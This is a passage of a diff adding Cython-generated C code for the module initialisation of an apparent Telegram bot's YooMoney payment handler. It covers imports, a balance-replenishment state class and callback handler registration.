__Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_YOOMONEY_SECRET_KEY); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOMONEY_SECRET_KEY, __pyx_t_3) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":13 + * from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY + * from database import ( + * add_connection, # <<<<<<<<<<<<<< + * add_payment, + * check_connection_exists, + */ + __pyx_t_2 = PyList_New(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_add_connection); + __Pyx_GIVEREF(__pyx_n_s_add_connection); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_add_connection)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_add_payment); + __Pyx_GIVEREF(__pyx_n_s_add_payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_add_payment)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_check_connection_exists); + __Pyx_GIVEREF(__pyx_n_s_check_connection_exists); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_check_connection_exists)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_get_key_count); + __Pyx_GIVEREF(__pyx_n_s_get_key_count); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_get_key_count)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 13, __pyx_L1_error); + + /* "handlers/payments/yoomoney_pay.py":12 + * + * from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY + * from database import ( # <<<<<<<<<<<<<< + * add_connection, + * add_payment, + */ + __pyx_t_3 = __Pyx_Import(__pyx_n_s_database, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_connection, __pyx_t_2) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_connection_exists, __pyx_t_2) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_key_count, __pyx_t_2) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":19 + * update_balance, + * ) + * from handlers.payments.gift import YOOKASSA_HASH # <<<<<<<<<<<<<< + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_YOOKASSA_HASH); + __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_HASH); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_YOOKASSA_HASH)) __PYX_ERR(0, 19, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_payments_gift, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_t_3) < 0) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":20 + * ) + * from handlers.payments.gift import YOOKASSA_HASH + * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); + __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 20, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_2) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":21 + * from handlers.payments.gift import YOOKASSA_HASH + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); + __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 21, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_3) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":22 + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_logger)) __PYX_ERR(0, 22, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_2) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":24 + * from logger import logger + * + * router = Router() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":28 + * + * + * if YOOMONEY_ENABLE: # <<<<<<<<<<<<<< + * logger.debug(f"Account ID: {YOOMONEY_ID}") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOMONEY_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (__pyx_t_4) { + + /* "handlers/payments/yoomoney_pay.py":29 + * + * if YOOMONEY_ENABLE: + * logger.debug(f"Account ID: {YOOMONEY_ID}") # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Account_ID, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":28 + * + * + * if YOOMONEY_ENABLE: # <<<<<<<<<<<<<< + * logger.debug(f"Account ID: {YOOMONEY_ID}") + * + */ + } + + /* "handlers/payments/yoomoney_pay.py":32 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_yoomoney = State() + * waiting_for_payment_confirmation_yoomoney = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_5); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error); + __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PEP560_update_bases(__pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_CalculateMetaclass(NULL, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_Py3MetaclassPrepare(__pyx_t_3, __pyx_t_5, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_yoomoney_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (__pyx_t_5 != __pyx_t_2) { + if (unlikely((PyDict_SetItemString(__pyx_t_6, "__orig_bases__", __pyx_t_2) < 0))) __PYX_ERR(0, 32, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":33 + * + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_yoomoney = State() # <<<<<<<<<<<<<< + * waiting_for_payment_confirmation_yoomoney = State() + * entering_custom_amount_yoomoney = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_choosing_amount_yoomoney, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":34 + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_yoomoney = State() + * waiting_for_payment_confirmation_yoomoney = State() # <<<<<<<<<<<<<< + * entering_custom_amount_yoomoney = State() + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_2) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":35 + * choosing_amount_yoomoney = State() + * waiting_for_payment_confirmation_yoomoney = State() + * entering_custom_amount_yoomoney = State() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_entering_custom_amount_yoomoney, __pyx_t_2) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":32 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_yoomoney = State() + * waiting_for_payment_confirmation_yoomoney = State() + */ + __pyx_t_2 = __Pyx_Py3ClassCreate(__pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_t_5, __pyx_t_6, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< + * async def process_callback_pay_yoomoney( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_pay_yoomoney, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_yoomoney, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_yoomoney, __pyx_t_5) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":98 + * + * + * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_startswith); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__24, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__5)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_6) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* 